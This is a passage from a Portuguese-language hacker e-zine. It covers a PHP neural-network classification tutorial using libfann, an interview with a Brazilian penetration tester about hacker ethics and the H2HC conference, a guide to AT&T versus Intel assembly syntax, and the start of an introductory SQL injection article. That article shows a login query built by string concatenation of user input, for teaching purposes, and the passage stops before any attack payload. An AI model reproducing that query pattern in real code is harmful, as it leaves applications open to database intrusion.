pagado por toda a rede, da saida para a entrada (back propagation) para que os
pesos possam ser entao recalculados. Este procedimento e' repetido ate que a
rede chegue em um nivel de erro aceitavel para a funcao que ira desempenhar.
--=[ LIBFANN - Fast Artificial Neural Network
Podemos ver um exemplo simples de uso de uma RNA para classificar in-
formacoes. Este primeiro exemplo sera para uma breve introducao na utilizacao
da FANN, que e' uma lib que implementa rede multi layer e utiliza backpropaga-
tion para o treinamento. Os exemplos serao feitos utilizando a linguagem PHP,
embora a lib possa ser utilizanda em programas escritos em C, Python, Ruby,
Octave e algumas outras.
E' necessario entao instalar a libfann e criar o modulo que sera utili-
zado nos scripts php (supondo que ja tenha o interpretador php instalado, pois
isso nao sera coberto). Faca o download da libfann [1] e da fannphp [2] (as
versoes utilizadas foram 1.2.0 (libfann) e 0.1.0 (fannphp). Apos isso, a insta-
lacao da libfann se da' da seguinte forma:
$ tar xjvf fann-1.2.0.tar.bz2
$ cd fann-1.2.0
$ ./configure
$ make
# make install
E a criacao do modulo php:
$ tar xjvf fannphp-0.1.0.tar.bz2
$ cd ext/fann/
$ phpize
$ ./configure
$ make
Apos isso, um arquivo chamado "fann.so" sera criado no diretorio "modules/":
$ ls modules/fann.so
modules/fann.so*
Este modulo sera utilizado por todos os scripts php que utilizem alguma RNA.
--=[ Classificacao de Informacao e Reconhecimento de Padroes
A tabela a seguir (Tab. 1) contem informacoes que foram adquiridas em
uma pesquisa de rua, na qual foram consultadas pessoas que acessam regularmente
a internet. Foi questionado o seguinte, como pode ser observado:
- Nome da pessoa consultada;
- Sexo da pessoa;
- Idade da pessoa;
- Se tem ou nao filhos e, caso tenha, quantos;
- Faz compras via internet ( 1 = sim, 0 = nao )
.______________.______._______.________.___________________.
| Nome | Sexo | Idade | Filhos | Compra pela web ? |
+--------------+------+-------+--------+-------------------+
| Jose | M | 32 | 1 | 1 |
| Maria | F | 22 | 0 | 0 |
| Joana | F | 25 | 0 | 0 |
| Joao | M | 35 | 0 | 1 |
| Lucia | F | 24 | 1 | 1 |
| Marina | F | 21 | 0 | 0 |
| Joseane | F | 22 | 0 | 0 |
| Carlos | M | 40 | 2 | 1 |
| Mariano | M | 33 | 3 | 1 |
| Claudia | F | 23 | 0 | 0 |
| Francine | F | 26 | 0 | 0 |
| Marlon | M | 36 | 1 | 1 |
| Tatiane | F | 25 | 1 | 1 |
| Jaqueline | F | 22 | 0 | 0 |
| Raquel | F | 21 | 0 | 0 |
| Mustafa | M | 41 | 2 | 1 |
'--------------'------'-------'--------'-------------------'
Tab. 1: Pesquisa de rua
De posse dessa informacao, uma loja que efetua vendas via internet, que
passaremos a chamar apenas de "Loja", gostaria de buscar por algo em comum entre
as pessoas que normalmente compram via internet. A Loja possui um outro banco de
dados (Tab. 2) com informacoes de outras pessoas, as quais ela nao sabe se cos-
tumam ou nao efetuar compras em lojas eletronicas, e gostaria de convida-las
para uma visita ao site. Entretanto, ela nao pretende incomodar as pessoas que
supostamente nao iriam comprar, e nao acha interessante, por qualquer motivo,
enviar emails a estas pessoas (que nao iriam comprar). Politica de minimizacao
de spam adotada pela empresa. Para que pessoas da lista a Loja deve enviar o
email?
.______________.______._______.________.
| Nome | Sexo | Idade | Filhos |
+--------------+------+-------+--------+
| Ivan | M | 30 | 1 |
| Juliana | F | 20 | 0 |
| Maristela | F | 22 | 0 |
| Claudionor | M | 37 | 0 |
| Marcia | F | 25 | 1 |
| Sabrina | F | 21 | 0 |
'--------------'------'-------'--------'
Tab. 2: Dados para classificacao
De posse dessa informacao, podemos organizar os dados para a construcao e
treino da rede.
- Numero de units na layer de entrada: Baseado na quantidade de variaveis
( sexo, idade e filhos ). Utilizaremos entao 3 units.
- Hidden layer: Apenas uma.
- Numero de units na hidden layer: 6
- Numero de units na layer de saida: 1 ( a saida ira indicar se a pessoa
entra no padrao de quem compra pela internet ou de quem nao compra )
- Dados para treino da rede: O conteudo da Tab. 1
- Dados para serem classificados: O conteudo da Tab. 2
Resumidamente, o que a rede ira fazer e' verificar em qual classe as
pessoas da Tab. 2 se encaixam: Classe das pessoas que compram pela internet e
classe das pessoas que nao compram pela internet. Vamos ao codigo:
<++> php_rna/peopleClass.php
*/
/* modulo que foi criado anteriormente */
dl('fann.so');
/*
* Aqui temos um array com informacoes sobre
* as pessoas da Tab. 1, as quais serao utilizadas para treino
* da rede. Sexo sera definido como 'M' = 0 e 'F' = 1
*/
$dados = array (
array ( 'sexo' => 'M', 'idade' => 32, 'filhos' => 1, 'saida' => 1 ),
array ( 'sexo' => 'F', 'idade' => 22, 'filhos' => 0, 'saida' => 0 ),
array ( 'sexo' => 'F', 'idade' => 25, 'filhos' => 0, 'saida' => 0 ),
array ( 'sexo' => 'M', 'idade' => 35, 'filhos' => 0, 'saida' => 1 ),
array ( 'sexo' => 'F', 'idade' => 24, 'filhos' => 1, 'saida' => 1 ),
array ( 'sexo' => 'F', 'idade' => 21, 'filhos' => 0, 'saida' => 0 ),
array ( 'sexo' => 'F', 'idade' => 22, 'filhos' => 0, 'saida' => 0 ),
array ( 'sexo' => 'M', 'idade' => 40, 'filhos' => 2, 'saida' => 1 ),
array ( 'sexo' => 'M', 'idade' => 33, 'filhos' => 3, 'saida' => 1 ),
array ( 'sexo' => 'F', 'idade' => 23, 'filhos' => 0, 'saida' => 0 ),
array ( 'sexo' => 'F', 'idade' => 26, 'filhos' => 0, 'saida' => 0 ),
array ( 'sexo' => 'M', 'idade' => 36, 'filhos' => 1, 'saida' => 1 ),
array ( 'sexo' => 'F', 'idade' => 25, 'filhos' => 1, 'saida' => 1 ),
array ( 'sexo' => 'F', 'idade' => 22, 'filhos' => 0, 'saida' => 0 ),
array ( 'sexo' => 'F', 'idade' => 21, 'filhos' => 0, 'saida' => 0 ),
array ( 'sexo' => 'M', 'idade' => 41, 'filhos' => 2, 'saida' => 1 )
);
/**
* Aqui a rede sera criada
* Em tipo de conexao podemos utilizar 1.0 ou 0.5, que indica que a
* rede sera totalmente conectada ou indica que a rede tera somente
* metade das conexoes efetuadas.
* informacoes detalhadas sobre a funcao podem ser encontradas em [3]
*/
$rede = fann_create ( array(3, 6, 1), // units: 3/entrada, 6/hidden e 1/saida
1.0, // tipo de conexao
0.7 // taxa de aprendizagem
);
/*
* E' feita a leitura de cada pessoa e a informacao e' colocada de
* forma que a funcao possa entender e entao e' jogado na rede para
* treinamento
*/
$info = array();
foreach ( $dados as $pessoa ) {
array_push ( $info,
array (
array (
$pessoa['sexo'],
$pessoa['idade'],
$pessoa['filhos']
),
array (
$pessoa['saida']
)
)
);
}
fann_train ( $rede,
$info, // informacao utilizada para o treino
10000, // numero maximo de interacoes para treino da rede
// (epocas/epochs)
0.00001, // erro max. para que a rede seja considerada treinada
0 // mostrar informacoes sobre o treino da rede a cada
// quantas epocas?
);
$teste0 = fann_run ( $rede, array ( 'F', 22, 0 ));
$teste1 = fann_run ( $rede, array ( 'M', 32, 1 ));
$Ivan = fann_run ( $rede, array ( 'M', 30, 1 ));
$Juliana = fann_run ( $rede, array ( 'F', 20, 0 ));
$Maristela = fann_run ( $rede, array ( 'F', 22, 0 ));
$Claudionor = fann_run ( $rede, array ( 'M', 37, 0 ));
$Marcia = fann_run ( $rede, array ( 'F', 25, 1 ));
$Sabrina = fann_run ( $rede, array ( 'F', 21, 0 ));
echo "As saidas foram as seguintes:\n".
"teste0: $teste0[0]\n".
"teste1: $teste1[0]\n".
"Ivan: $Ivan[0]\n".
"Juliana: $Juliana[0]\n".
"Maristela: $Maristela[0]\n".
"Claudionor: $Claudionor[0]\n".
"Marcia: $Marcia[0]\n".
"Sabrina: $Sabrina[0]\n\n";
?>
<--> php_rna/peopleClass.php
Antes de verificarmos como a rede se comporta, algumas consideracoes
devem ser feitas:
- Os dados para treino da rede sao muito importantes, entao devem ser bem
selecionados e em uma boa quantidade ( o que nao foi o caso, esta sendo
utilizada pouca informacao para treino)
- Observe que os dados que serao testados para a saida em "$teste0" e
"$teste1" sao exatamente iguais a dados que foram utilizados durante o
treinamento da rede, entao essas saidas deveram ser iguais as saidas que
foram apresentadas com os mesmos dados durante o treinamento.
- O codigo php utiliza algumas poucas funcoes, resumidamente trabalhando
da seguinte forma:
* E' carregado o modulo para uso da fann;
* E' criado um array com as informacoes que serao utilizadas pela rede
durante o treinamento;
* A rede e' criada;
* As informacoes que serao utilizadas para o treino e' organizada em uma
pilha ( que vai se transformar em um array de arrya ), que sera passada
para o treino da rede;
* A rede e' treinada;
* A rede e' utilizada para classificar informacoes para "teste0",
"teste1", "Ivan", ... e "Sabrina";
* O resultado da classificacao e' entao exibido;
Vejamos como ficou:
$ php peopleClass.php
As saidas foram as seguintes:
teste0: 0
teste1: 1
Ivan: 1
Juliana: 0
Maristela: 0
Claudionor: 1
Marcia: 1
Sabrina: 0
$
Como dito, "teste0" e "teste1" realmente obtiveram as saidas conforme o
esperado. O que podemos observar tambem e' que, aparentemente as informacoes fo-
ram classificadas de tal forma que se assemelham com os dados de entrada. Veja
por exemplo o Claudionor, que tem 37 anos, 1 filho e e' do sexo 'M'. Nos dados
de entrada nao existe nenhuma informacao igual a dele, e o que mais se assemelha
e' a entrada da linha 12 de dados:
"array ( 'sexo' => 'M', 'idade' => 36, 'filhos' => 1, 'saida' => 1 )"
Assim como esta entrada de dados, a saida do Claudionor tambem esta em 1, ou se-
ja, o Claudionor se encaixaria na classe de pessoas que efetuariam uma compra
pela internet.
Como pode se observar, o funcionamento e' bastante simples (embora os
algoritimos utilizados para que isso funcione nao sao assim tao simples). Apos
essa breve introducao e visualizacao de como funciona ( e que realmente funcio-
na), podemos partir para algo mais interessante.
--=[ Utilizacao de RNA para Deteccao Local de Intrusao (Proxima Parte)
Sistemas dedicados a determinadas tarefas normalmente seguem um deter-
minado padrao, muito embora esses padroes possam nos passar despercebidos. Eles
podem ser, entre outras coisa:
- Arquivos
* Quem acessou
* Em que horario acessou
* O que fez com o arquivo (leu/gravou/deletou)
* De onde acessou
- Processos
* Quem executou
* Em que horario executou
* Durante quanto tempo ficou ativo
O que vamos implementar e' uma simples RNA treinada com informacoes de
quais usuarios acessam quais arquivos e em que horarios. O ideal seria treinar
a rede com informacoes sobre o uso normal do ambiente no qual o sistema de de-
teccao de intrusao (chamado agora apenas de HIDS - Host Intrusion Detection
System ) sera implementado. A rede sera treinada com informacoes triviais, como
user id, arquivo acessado e horario e o dia de acesso ( dia normal / fim de
semana ). Devido a simplicidade do treino ( nao sera algo muito aprofundado ),
a quantidade de falso-positivos pode ( provavelmente sera ) muito alta.
[ CONTINUA NA PARTE 2 ]
[1] http://prdownloads.sourceforge.net/fann/fann-1.2.0.tar.bz2?download
[2] http://prdownloads.sourceforge.net/fann/fannphp-0.1.0.tar.bz2?download
[3] http://leenissen.dk/fann/fann.html#php.api
http://en.wikipedia.org/
http://pt.wikipedia.org/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[11]-=[Entrevista com dum_dum]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Perguntas por: d4rwin, hallz, SKOFF, SkyNet45 e tDs
1. Primeiramente, gostaríamos que você se apresentasse, fazendo um pequeno resu-
mo de como foram os seus primeiros contatos com computadores.
Meu nome é Wendel Guglielmetti Henrique, atualmente trabalho como analista de
penetration test (teste de intrusão), sou um dos fundadores do grupo Front The
Scene, já estive ligado a outras cenas e grupos de Hackers, ou se preferirem,
Hackers Éticos. Sou um dos fundadores e organizadores do H2HC (Hackers 2 Hackers
Conference), e faço parte de algumas poucas comunidades de Hackers internacionais.
Meu primeiro micro computador eu adquiri por influência de um tio, que me con-
venceu que era mais interessante pedir um micro computador de presente de ani-
versário do que um video-game da época. Eu não sabia exatamente o que fazia, mas
eu já achava bem interessante os três micro computadores que ele tinha na empre-
sa (rodando MS-DOS). :)
Meu interesse por jogos eletrônicos foi diminuindo com o passar do tempo. A prin-
cípio eu gostava de aprender sobre o MS-DOS, com exceção de programação em ar-
quivos de lotes. Na época, programação não me atraía, para não dizer que eu
achava muito chato. Até onde eu me lembro a cidade onde eu morava ainda não tinha
provedor de acesso a internet ou BBS. Eu tinha poucos conhecidos que tinham ou se
interessavam por micro computadores. Meu interesse cresceu alguns anos depois,
quando mudei de escola e fiz um amigo (Fernando) que também gostava muito de
micro computadores. O Fernando sabia mais do que eu e tinha acesso a internet.
2. Para você, o que é um hacker?
Muito complexo definir. Se eu tivesse que definir de forma sucinta, eu diria que
são pessoas que tem sede de aprender, e acabam se tornando muito boas nisso. De
uma certa forma, eu acho que lembra o significado da palavra Kung-Fu.
Entretanto esse perfil é voltado para informática, mas acaba abrangendo outras
áreas relacionadas, como: telefonia, sistemas digitais, dispositivos eletrônicos,
etc.
Outro ponto relevante é o grande interesse por segurança e insegurança, que
talvez seja o que os motive. E por fim, mas não menos importante, vem a po-
lêmica ética Hacker, que acaba sendo moldada em cada um deles com o passar dos
anos, e a sua filosofia em prol de várias causas como a liberdade da informação.
3. A Ética Hacker também é algo bastante discutido. Algumas pessoas chegam in-
clusive a dizer que hackers não têm (ou não devem ter) uma ética. Qual é o
seu ponto de vista?
Hackers tem ética. A questão é que essa ética em vários pontos não condiz com a
ética que as pessoas aprendem desde criança.
A ética Hacker ao meu ver é baseada em três pilares, sendo:
- A liberdade da informação.
- Possibilidade de acesso ao conhecimento.
- Usufruir dos dois pilares acima da melhor forma possível para que não exista
(ou exista o mínimo possível) pessoas prejudicadas.
4. O que te atrai no hacking?
Principalmente os desafios que ele proporciona.
5. Como você acha que é formado um hacker?
Definitivamente não é em Universidades. :)
Os Hackers de forma geral são autodidatas, conseqüentemente a formação acontece
naturalmente de acordo com o tempo que cada um começa a dedicar para pesquisar e
desenvolver nesse seguimento. A própria comunidade Hacker tem um papel importante
nesse sentido, pois ela desenvolve material para que novos interessados possam
ler, aprender e conhecer o caminho das pedras...
6. Quais os livros/textos você acha fundamentais para alguém que deseja ser um
hacker?
Parece preconceituoso, mas eu acho fundamental conseguir ler em inglês para
poder ter acesso mais fácil as informações. A língua inglesa tem um ponto muito
positivo, que possibilitou através da Internet a disseminação quase em tempo real
de conhecimento entre comunidades do mundo todo.
Alguns Hackers defendem a importância de conhecer outros idiomas, como alemão,
francês, russo, polonês, etc devido a grande qualidade de alguns textos publi-
cados nesses idiomas, que não são traduzidos para a língua inglesa.
Eu não acredito que existam livros fundamentais, mas sim tópicos fundamentais.
Vou citar alguns tópicos e referencias de alguns clássicos do gênero, no intuito
de auxiliar quem quer começar e não sabe por onde.
Sistemas Operacionais (Internals):
Operating System Concepts
Modern Operating Systems (Second Edition)
Operating Systems: Design and Implementation (Second Edition)
Rede de Computadores:
The Protocols (TCP/IP Illustrated)
UNIX Network Programming
Lógica de programação e linguagens:
The Logical Basis for Computer Programming
Curso básico de C da UFMG (http://ead1.eee.ufmg.br/cursos/C/)
Programming Windows (Fifth Edition)
Advanced Programming in the UNIX(R) Environment (Second Edition)
Professional Assembly Language (Programmer to Programmer)
Hacking em Geral:
Phrack Magazine (http://www.phrack.org)
The Hackers Choice - THC (www.thc.org/)
Xfocus Team (http://www.xfocus.org/)
Eventos de Hacking no Brasil:
H2HC (http://www.h2hc.com.br OU http://www.h2hc.org.br)
Code Breakers (http://www.codebreakers.com.br/)
7. Para você, quais pessoas e/ou grupos deram grandes contribuições para a cena
hacker, tanto tecnicamente quanto na disseminação do espírito hacker?
Depende, você quer saber sobre a cena Brasileira ou Internacional ?
O Hacking tem algumas décadas, o que torna difícil dizer quais foram as maiores
contribuições, já que eu não vivi nem mesmo metade delas. Entretanto, vou listar
de forma reduzida algumas que eu presenciei.
Brasil:
- Axur05
- Barata Elétrica (apesar de eu não gostar muito, ela foi importante)
- Sekure.org
- Unsekurity (Scene & Team)
- Clube Dos Mercenarios (CDM)
- H2HC (Hackers 2 Hackers Conference)
Internacional:
- Chaos Computer Club (CCC)
- Cult Of The Dead Cow (CDC)
- 2600: The Hacker Quarterly (2600 Magazine)
- Eletronic Frontier Foundation (EFF)
- Legion Of Doom (LOD)
- Masters Of Deception (MOD)
- L0pht Heavy Industries
- The Hackers Choice (THC)
Eu acabei modificando várias vezes essa lista, pois existiram inúmeros grupos de
peso com o passar dos anos, e para não favorecer nenhum, coloquei apenas os que
eu considero que foram extremamente importantes para o Hacking.
8. Vemos constantemente a mídia taxar hackers como criminosos. Qual seria o
principal motivo? E o que poderia ser feito para mudar esta situação?
Esse assunto é muito polêmico na comunidade Hacker. Eu acredito que os dois
principais motivos são: a desinformação e os interesses comerciais.
Vários Hackers Brasileiros já contataram vários reporters de grandes meios de
comunicação como Globo, Folha de São Paulo, Estadão, etc, com intuito de escla-
recer conceitos utilizados de forma errônea nas matérias. Alguns simplesmente
ignoram. Contudo, essa situação tem se modificado nos últimos anos, aos poucos.
Por outro lado, existe a questão do interesse comercial: como nós bem sabemos,
a palavra Hacker vende!
9. O Brasil é famoso por seus grupos de pichadores, que figuram inúmeras vezes
em matérias publicadas por todas as partes. Você acha que o Brasil tem real-
mente grandes talentos na "arte do hacking" ou apenas pichadores e kiddies?
Como em todo lugar do mundo, o Brasil tem verdadeiros Hackers, mas particular-
mente eu acho que são poucos comparados a outros países, inclusive aqueles muito
menores que o nosso. O Brasil com certeza tem muito mais Defacers, Script Kiddies,
Carders e Bankers.
Ser Hacker leva tempo, muito tempo, atualmente nós temos muitos newbies no Bra-
sil. Então quem sabe daqui a alguns anos nós tenhamos uma cena Hacker forte.
10. O cenário do hacking no Brasil não é tão expressivo quanto o de alguns outros
países. Isso pode ser devido a qual(is) fator(es)?
Bom, eu não entendo muito dessa parte social, quem deveria responder essa pergunta
é o meu irmão, que estuda Ciências Sociais. :)
Eu acredito que os principais fatores são:
- A Internet é recente no Brasil com relação a outros países de poder econômico
maior.
- Hoje está muito mais fácil, mas a alguns anos atrás adquirir um micro computa-
dor era um luxo de poucos.
- O famoso jeitinho Brasileiro de sempre querer passar a perna em alguém, ser
mais esperto, etc.
11. O que te levou a criar a Front The Scene? Qual é o objetivo da FTS? Você
acha que este objetivo vem sendo alcançado?
A Front The Scene foi criada junto com meu amigo Ygor (dmr). A idéia era apenas
ser um grupo de amigos para trocar informações referentes a segurança computacio-
nal e hacking. Atualmente a única parte ativa é a mail-list.
A FTS colaborou com uma certa expressão para outras comunidades e acontecimentos
importantes do Hacking no Brasil, como o primeiro evento Hacker Brasileiro, o
H2HC.
Eu diria que para a FTS alcançar algum objetivo nos dias de hoje, ela precisaria
ser reestruturada; tenho discutido isso com o Ygor (dmr) recentemente.
12. Quais tecnologias/conceitos você acredita serem promissores para o aumento
da segurança de redes e máquinas? E quais abordagens devem ser abandonadas
ou repensadas?
Eu acredito que o conceito mais promissor para um aumento drástico da segurança
da informação é educar os usuários, desenvolvedores, administradores de sistemas
e administradores de redes. :)
Existem vários conceitos aplicados atualmente que ou são defasados ou o design é
ineficaz. Um exemplo interessante é o novo sistema para deletar ou encriptar
arquivos de laptops roubados (http://info.abril.com.br/aberto/infonews/042006/
12042006-7.shl).
- Uma quadrilha especializada em roubos de laptops não formataria a máquina
antes de revender?
- Se o objetivo da quadrilha é roubar informações classificadas, para que eles
conectariam esse laptop à internet? Fazer atualizações do Windows (rs)?
13. Você já teve algum tipo de problema por ter o seu nome vinculado ao hacking?
Sim, algumas empresas tem alguns analistas de segurança e consultores de segurança
que confundem a definição de Hacker com Cracker e as vezes até mesmo com Carders
e Bankers, e dessa forma já fomos (nós do Intruders Tiger Team Security) prejudi-
cados.
14. Em suas palestras, qual tem sido o perfil predominante do público?
Depende muito do evento; se é um evento de Software Livre, Hacking ou Universi-
tário. De uma forma geral, a grande maioria são interessados por segurança e in-
segurança, na maioria estudantes universitários.
15. As instituições de ensino tem um histórico ruim no quesito (in)segurança.
Muitos alunos terminam o curso de TI sem saber o que é um race condition,
format string bug, MITM e até mesmo buffer overflow. Como você avalia, em
linhas gerais, o nível de conhecimento sobre as ameaças digitais dos uni-
versitários que tem encontrado?
Generalizar é complicado, mas de forma geral os conceitos de segurança dos uni-
versitários são muito fracos. Acredito que isso acontece devido a não existirem
fundamentos de segurança da informação nas grades curriculares, o que é uma pena.
Como eu disse, são casos e casos, mas no geral os conceitos sobre segurança da
informação são bem precários, com resalva para os cursos cujo foco é segurança
ou quando o professor/aluno tem um interesse extra-curricular por segurança.
16. Sobre o H2HC. Conte-nos um pouco sobre a experiência de organizar um evento
para hackers, no Brasil. Foram muitas as dificuldades? As expectativas estão
sendo atingidas? O que podemos esperar para as próximas edições?
Organizar eventos é difícil e requer muito tempo e esforço. Se for um evento de
Hacking complica mais ainda. Se o evento for de Hacker e no Brasil, onde existe
essa grande confusão dos termos, então é trabalho para homem casado, como diz meu
amigo Glaudson.
O H2HC é um evento sem fins lucrativos, e diga-se de passagem dá prejuízo (que é
ratiado entre os organizadores). Por ter como foco o Hacking, fica difícil arrumar
patrocinadores; então o evento é totalmente independente.
O H2HC tem melhorado a cada ano em vários pontos, como organização, estrutura e
modelação. Esse ano nós temos alguns novos membros escolhidos a dedo na comissão
organizadora, e acreditamos que isso vai nos ajudar bastante.
O H2HC com certeza atinge os seus dois principais objetivos, que são:
- Fortalecer a cena Hacker brasileira como um todo.
- Canalizar os recursos da mídia para difundir o sentido correto do termo Hacker.
O próximo H2HC vem cheio de novidades, aguardem!
17. Qual seria o perfil ideal para um patrocinador do H2HC?
Uma empresa ou pessoa que apoie o Hacking ético, e não emponha as seguintes
restrições:
- Proibido demonstrar falhas ou citar como ineficaz o produto X, Y ou Z.
- Não nós obrigue a abrir palestras fora do foco do evento.
Nós entendemos que isso pode ser complicado do ponto de vista comercial, e
estamos abertos a propostas e quem sabe chegar a um consenso.
18. Como as empresas para quem você prestou serviços vêem o hacking e os hackers?
Esse assunto tem que ser tratado com muito cuidado. Nós procuramos explicar para
todos os clientes e possíveis clientes o que é Hacking e o que são Hackers. Pro-
curamos ainda mostrar que os Hackers estão em todos lugares, e participam ativa-
mente no desenvolvimento das mais variadas soluções existentes, não só no campo
da segurança computacional.
19. Sobre o Intruders, o que tem sido desenvolvido/pesquisado?
O Intruders Tiger Team Security (http://www.intruders.com.br/) é onde eu trabalho,
que é uma divisão da Security OpenSource (http://www.security.org.br).
Nós pesquisamos várias áreas, as principais são:
- Pesquisa & desenvolvimento de vulnerabilidades.
- Pesquisas com certificados digitais.
- Pesquisas & desenvolvimento de possíveis soluções Anti-Phishing
- Pesquisas & desenvolvimento de possíveis soluções contra malwares em geral
(vírus, trojans, ...)
- Desenvolvimento do Security Works, que é uma família de serviços de segurança
gerenciados.
20. Existe alguma solução desenvolvida pelo Intruders que estará disponível aos
usuários em breve?
Sim, mas infelizmente não posso repassar maiores detalhes. :(
21. Existem rumores de que o seu nick é uma referência ao pagode, som que você
curte. (tikidum dum dum, tikidum dum dum). Você confirma?
Hahaha, estava demorando pra começar! :)
22. Espaço livre. Mande o seu recado para os newbies de plantão :-)
1 - Don't learn to hack, Hack to learn.
2 - Nunca confie no hallz, ele sempre faz perguntas para te deixar encabulado. :)
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[12]-=[Diferencas entre a sintaxe AT&T e a sintaxe Intel]=-|Narcotic|=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
--=[ Introducao
Aqui vai uma breve introducao sobre a diferenca entre a sintaxe AT&T e a
Intel. Raro conhecer alguem que aprenda primeiramente a sintaxe AT&T pois
ela eh um tanto confusa para um iniciante. Mas para programadores mais
experientes, ela se torna uma ferramenta muito poderosa, feita de tal maneira
q impossibilita ambiguidades no codigo.
--=[ Porque aprender a Sintaxe AT&T
O principal montador (assembler) que utiliza a sintaxe AT&T eh o GAS
(GNU Assembler) Ele eh usado em conjunto com o GCC (GNU C Compiler) para
escrever grande parte dos softwares que compoem os sistemas operacionais livres
atuais. Alem disso, existem outros programas que se baseiam nessa sintaxe, como
o GDB e o objdump, todos da familia dos binutils.
--=[ A Sintaxe
Primeiramente, os operandos das instrucoes em AT&T sao invertidos, essa
ideia eh a que causa mais confusao entre os novatos. Enquanto em Intel a sintaxe
eh:
instrucao destino, origem
em AT&T eh:
instrucao origem, destino
--=[ Registradores
Todos os nomes dos registradores devem ser prefixados por '%', exemplo
%ax, %bx, %cl, %esp Nao interessa onde voce use eles, por ex.
mov %eax, %ebx
Esse comando vai mover o valor do registrador eax para o registrador
ebx.
--=[ Valores Literais
Os literais em AT&T devem ser prefixados com '$'. Por exemplo:
mov $123, %ebx
push $ABCD
A primeira instrucao move o valor 123 p/ o registrador ebx, equanto a
segunda empilha os valores ASCII dos caracteres ABCD.
--=[ Enderecamento de Memoria
Na sintaxe AT&T, o enderecamento de memoria eh feito da seguinte forma:
segmento:offset(base, indexador, escala)
Por exemplo, o que em NASM seria
[es:eax+ebx*4+100]
em GAS ficaria
%es:100(%eax, %ebx, 2)
Note q no caso dos offsets e da escala, os literais nao precisam ser
prefixados por '$'. Alguns exemplos de enderecamentos de memoria:
GAS NASM
--- ----
100 [100]
%es:100 [es:100]
(%eax) [eax]
(%eax,%ebx) [eax+ebx]
(%ecx,%ebx,2) [ecx+ebx*2]
(,%ebx,2) [ebx*2]
-10(%eax) [eax-10]
%ds:-10(%ebp) [ds:ebp-10]
Detalhe: Repare que o offset pode receber valores negativos tambem e
valores literais sem '$' sao considerados enderecos de memoria.
--=[ Tamanho dos Operandos
Algumas vezes, especialmente quando estamos movendo valores para a
memoria, eh necessario q especifiquemos o tamanho dos operandos. Por ex:
mov $10, 100
Apenas diz q o valor 10 serah movido para o endereco 100, mas nao diz o
tamanho da transferencia. Em NASM voce pode especificar o tamanho dos
operandos usando as palavras reservadas byte/word/dword etc, na frente do
operando. Jah no GAS voce especifica incluindo os sufixos b/w/l na instrucao.
Por ex:
movb $10, 100
vai mover um byte com o valor 10 p/ o endereco 100, enquanto
movl $10, 100
movera um long (4 bytes) com o valor 10 para o endereco 100.
--=[ Instrucoes de Desvio
As instrucoes call, jmp e ret podem desviar a execucao de uma parte do
programa para outra. Os valores para instrucoes call e jmp imediatos recebem 2
parametros:
jmp $segmento, $offset
Para jumps relativos, o endereco de memoria deve ser prefixado por um '*'. Por ex:
jmp *100
Exemplos de instrucoes de desvio:
GAS NASM
--- ----
Imediato
jmp $100, $100 jmp 100:100
ljmp $100, $100 jmp 100:100
call $100, $100 call 100:100
lcall $100, $100 call 100:100
Absoluto
jmp 100 jmp 100
call 100 call 100
Indireto
jmp *100 jmp near [100]
call *100 call near [100]
jmp *(%eax) jmp near [eax]
call *(%ebx) call near [ebx]
ljmp *100 jmp far [100]
lcall *100 call far [100]
ljmp *(%eax) jmp far [eax]
lcall *(%ebx) call far [ebx]
Retornos
ret retn
lret retf
lret $0x100 retf 0x100
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[13]-=[Introducao a SQL Injection]=-|Inseto Verde|=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-= Sumario
-=
Introducao
-=
Linguagem "foderosa"
-=
Entendendo a linguagem
-=
Entendendo o ataque
-=
Mais comandos
-=
Existe jeito?
-=
Consideracoes finais
-=
Conheca um pouco mais
-=
Finished
-=
--=[ Introducao
Neste artigo serah abordado apenas o mini-basico do tao extenso e pode-
roso SQL Injection. Mesmo por motivos de minhas limitacoes de conhecimento, nao
serah abordado neste artigo o SQL injection profundamente.
Um artigo super-newbie, por isso se voce se considera elite, favor nao
prossiga a leitura do texto pois serah perda de seu valioso tempo. E com certeza
nao irah te acrescentar nada. Este artigo visa ajudar os iniciantes.
-Igualmente a mim.
--=[ Linguagem "foderosa"
A linguagem SQL eh muito usada atualmente, pois ela facilita o trabalho
e o acesso ao banco de dados. Com ela o programador pode inserir dados no banco,
extrair, deletar... enfim, tem total controle sobre o banco.
Mas como jah eh conhecido de todos os forenses: tudo que eh usado para o
bem, pode tambem ser usado para o mal! Eh aproveitando dessa natureza que surge
o SQL injection.
--=[ Entendendo a linguagem
Para entendermos um pouco de como implementar um ataque ao banco via
injecao de SQL, vamos montar uma sintaxe SQL para a conhecer:
SELECT user FROM tab_user WHERE user = '& sUser &' AND pass = '& sPass &'
Well, acima temos uma simples sintaxe em SQL, mas o que ela esta' fa-
zendo? Essa sintaxe esta' enviando ao banco a requisicao de todos os usuarios
que sejam iguais a user '& sUser &' e tenham pass = '& sPass &'. Onde as strin-
gs sUser e sPass conteem os valores digitados pelo usuario.
Ah! e nessa sintaxe, apos o SELECT, o "user" e' o nome do campo dentro
da tabela "tab_user". Assim a sintaxe manda para o banco a requisicao jah defi-
nida: "Quero tal coisa de tal lugar se isso for igual a isso e isso igual a
isso".
Assim se os valores encontrados na tabela correspondem aos valores con-
tidos na sintaxe o usuario tera a permissao de continuar a execucao requisitada,
tal como por exemplo, acessar uma determinada sessao, pagina pessoal e bla bla
bla... Caso os valores da sintaxe sejam incompativeis com os contidos no Banco
de Dados, uma mensagem sera exibida (na grande maioria das vezes).
--=[ Entendendo o ataque
Agora que entendemos como, basicamente, funciona o SQL podemos ver algu-
